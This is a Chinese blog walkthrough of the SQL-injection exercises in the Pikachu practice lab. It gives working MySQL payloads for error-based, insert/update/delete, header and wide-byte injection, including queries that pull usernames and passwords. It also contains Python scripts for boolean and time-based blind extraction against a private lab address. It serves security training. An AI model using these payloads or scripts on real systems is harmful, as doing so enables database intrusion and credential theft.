1.数字型注入

普通输入

 

 测试注入点,用1 or 1=1

 

 发现其返回了所有数据,判断这个为注入点

2.字符型注入

随便输入下

 

 由于是字符型,需要将引号闭合

1' or 1=1#

 

3.搜索型注入

随便输入个a

 

 猜测是使用了like

所以构造:

a%'or'1'='1'#

 

4.xx型注入

查询时有括号,可构造:

a') or 1=1#

 

 

这里放个insert/updata/delete注入的过程:

insert/update/delete注入

在这3种情况中,我们不能使用 union 去做联合查询,因为这不是查询,而是操作

基于函数报错注入(updatexml)

常用的报错函数:updatexml()、extractvalue()、floor()

基于函数报错的信息获取(select / insert / update / delete)

技巧思路:

  • 在 MySQL 中使用一些指定的函数来制造报错,从报错信息中获取设定的信息
  • select / insert /update / delete 都可以使用报错来获取信息

背景条件:

  • 后台没有屏蔽数据库报错信息,在语法发生错误时会输出在前端

三个常用函数

  • updatexml(): MySQL 对 XML 文档数据进行查询和修改的 XPATH 函数
  • extractvalue():MySQL 对 XML 文档数据进行查询的 XPATH 函数
  • floor():MySQL中用来取整的函数

updatexml()

  updatexml()函数作用:改变(查找并替换)XML 文档中符合条件的节点的值

  语法:UPDATEXML (XML_document, XPath_string, new_value)

  • 第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc

  • 第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。不过这里用不到。

  • 第三个参数:new_value,String格式,替换查找到的符合条件的数据

  • Xpath语法:https://www.cnblogs.com/Loofah/archive/2012/05/10/2494036.html

XPath 定位必须是有效的,否则会发生错误

我们在 pikachu 平台上的字符型注入中实验,我们利用报错来获取信息,比如下面这条语句

' and updatexml(1, version(), 0)#

我们传入 updatexml 中的三个参数都是错误的,中间那个值可以用表达式写入。执行后会得到类似下面的错误

 

 

我们需要构造一个新的 payload,把报错信息和我们查询的信息一起输出,构造下面的 payload如下,0x7e是符号 “~” 的16进制

' and updatexml(1, concat(0x7e, version()), 0)#

 

 这时候就会打印出我们 MySQL 的数据版本了。那我们把 version() 换成 database() 就能取得数据库的名称了。

' and updatexml(1, concat(0x7e, database()), 0)#

 

 

知道了数据名我们继续查询表名

' and updatexml(1, concat(0x7e, (select table_name from information_schema.tables where table_schema='pikachu')), 0)#

但是此时会报错,返回的数据多于 1 行(不止一个表) ,只能显示 1 行报错信息

 

我们在刚刚的 payload 后面用 limit 关键字,限制取回的结果

' and updatexml(1, concat(0x7e, (select table_name from information_schema.tables where table_schema='pikachu' limit 0,1)), 0)#

 

 

 

上面返回了查询结果中的第一个表名,如果要查询第二个表名,我们可以把 limit 语句换成 limit 1,1

limit 后的第一个数据是起始位置,第二个数字是取出的数据条数

以此类推,取出所有的表名。有了表的名称后我们就去获取字段 

' and updatexml(1, concat(0x7e, (select column_name from information_schema.columns where table_name='users' limit 0,1)), 0)#

 

 

以此类推,取出所有的列名。我们就能去取数据了

' and updatexml(1, concat(0x7e, (select username from users limit 0,1)), 0)#

 

 

然后根据得到的用户名,去查询password

' and updatexml(1, concat(0x7e, (select password from users where username = 'admin' limit 0,1)), 0)#

5.insert/update型注入

 

在这里,注册页面存在注入漏洞

 

 

所谓 insert 注入是指我们前端注册的信息,后台会通过 insert 这个操作插入到数据库中。如果后台没对我们的输入做防 SQL 注入处理,我们就能在注册时通过拼接 SQL 注入。

我们就填必填的两项,用户那里输入单引号,密码随便输入,页面会有报错信息,说明存在SQL注入漏洞

 

 

这种情况下,我们知道后台使用的是 insert 语句,我们一般可以通过 or 进行闭合。后台的 SQL 语句可能是下面这个样子

insert into member(username,pw,sex,phonenum,email,adderss) values('kevin', 123456, 1, 2, 3, 4);
构造下面的 payload,基于 insert 下的报错来进行注入
kevin' or updatexml(1, concat(0x7e,database()), 0) or '
这时候报错的信息就能前一个例子是一样的,后面的操作也是这样

 

 

下面看看 update 注入,比如我们更改密码的时候,后台就是通过 update 去操作的。

登录账号:kevin,123456

 

 

我们在这里填入我们刚刚构造的 payload,然后提交也能得到相应的

 

 

 

6.delete注入

这里有一个留言板,点删除可以把对应的留言删掉

 

 

 我们点删除并用 BurpSuite 抓包,实际上就是传递了一个留言的 id,后台根据这个 id 去删除留言

后台可能的 SQL 语句如下

delete from message where id=100

我们发送到 Repeater 中继续进行实验,由于参数的值是数字型,所以后台可能存在数字型注入漏洞,构造payload如下(没有单引号)

100 or updatexml(1, concat(0x7e,database()), 0) 

把 payload 经过 URL编码后替换 BurpSuite 中 id 的值

 

 

 

 

 我们也能得到同样的结果

7.http头注入

有些时候,后台开发人员为了验证客户端头信息(比如cookie验证)

或者通过http header获取客户端的一些信息,比如useragent,accept字段等

 

会对客户端的http header信息进行获取并使用SQL进行处理,如果此时并没有足够的安全考虑

则可能会导致基于 http header 的 SQL 注入漏洞

 

 

登录账号:admin / 123456

 

 

 

 

 

 

  构造

1' or updatexml(1, concat(0x7e, database()), 0) or '

 

 

 

 

8.基于boolian的盲注

写脚本直接上

 

 

 代码:

 

import requests
import string

url="http://172.22.36.163:801/pikachu-master/vul/sqli/sqli_blind_b.php"
temp=''
str1=string.printable
for i in range(1,100):
    for a in str1:
        print(a)
        params={
            # 'name':f'"lili"^(ascii(substr((load_file("/var/www/html/flag.php")),{i},1))={ord(a)})',
            # 'name':'lili',
            'name':f"lili' and (ascii(substr(database(),{i},1))={ord(a)})#",
            'submit':'%E6%9F%A5%E8%AF%A2'
        }
        rep= requests.post(url=url,params=params)
        # print(params)
        # print(rep.text)
        if 'lili' in rep.text:#lili@pikachu
            temp+=a
            print('[+] output: '+temp)
            break
# params={#if 也可以
#     # 'name':f'"lili"^(ascii(substr(database(),0,1))={ord("p")})',
#     'name':"lili' and ascii(substr(database(),1,1))=ord('p')#",
#     'submit':'%E6%9F%A5%E8%AF%A2'
# }
# rep= requests.post(url=url,params=params)


# print(rep.text)
# print(params)
# print(ord('p'))

 

9.基于时间的盲注

写脚本直接上

 

 

 有个点注意下,

substr(database(), 1, 1)=112是有问题的,前面要加ascll,不然就成了弱类型比较,左边会被强制转换成0或1来进行比较
import requests
import string
import datetime

url="http://172.22.36.163:801/pikachu-master/vul/sqli/sqli_blind_t.php"
temp=''
str1=string.printable
for i in range(1,20):
    for a in str1:
        print(a)
        params={
            # 'name':f'"lili"^(ascii(substr((load_file("/var/www/html/flag.php")),{i},1))={ord(a)})',
            # 'name':'lili',
            'name':f"lili' and if((ascii(substr(database(),{i},1))={ord(a)}),sleep(1),null)#",
            'submit':'%E6%9F%A5%E8%AF%A2'
        }
        time1 = datetime.datetime.now()
        rep= requests.post(url=url,params=params)
        time2 = datetime.datetime.now()
        sec = (time2 - time1).seconds
        if sec >= 1:
    # print(rep.text)
                temp+=a
                print('[+] output: '+temp)
                break
    # print(rep.text)
        # print(params)
        # print(rep.text)
        # if 'lili' in rep.text:#lili@pikachu
        #     temp+=a
        #     print('[+] output: '+temp)
        #     break
# params={#if 也可以
#     # 'name':f'"lili"^(ascii(substr(database(),0,1))={ord("p")})',
#     # 'name':"lili' and ascii(substr(database(),1,1))=ord('p')#",
#     'name':"lili' and if(ascii(substr(database(), 1, 1))=112, sleep(1), null)#",
#     'submit':'%E6%9F%A5%E8%AF%A2'
# }
# time1 = datetime.datetime.now()
# rep= requests.post(url=url,params=params)
# time2 = datetime.datetime.now()
# sec = (time2 - time1).seconds
# if sec >= 1:
#     print(rep.text)
#     print(sec)
# else:
#     print(rep.text)
#     print(sec)
#     # print(params)
#     # print(ord('p'))

 

10.wide byte注入

当我们输入有单引号时被转义为\’,无法构造 SQL 语句的时候,可以尝试宽字节注入

(宽字节注入是因为数据库使用了GBK编码,不过现在大都使用unicode国际编码,大多数网站都使用了utf-8的编码)

PHP中编码为GBK,函数执行添加的是ASCII编码(添加的符号为“\”),MYSQL默认字符集是GBK等宽字节字符集。如上图所示%df’被PHP转义,单引号被加上反斜杠\,变成了%d’,其中\的十六进制是%5C,那么现在%d’=%d%5C%27,如果程序的默认字符集是GBK等宽字节字符集,则MYSQL用GBK编码时,会认为%df%5C是一个宽字符,也就是縗,也就是说:%df\’ = %df%5c%27=縗’,有了单引号就可以注入了。

构造:

lili%df' or 1=1#

但发现无法注入成功

抓包看看

 

 

发现前端将输入的字符串进行了一些处理,在抓包时再将数据改了就可以成功注入了

 

 

 

终于完成了...................................

posted on 2019-12-18 12:45  mingtsky  阅读(250)  评论(0)    收藏  举报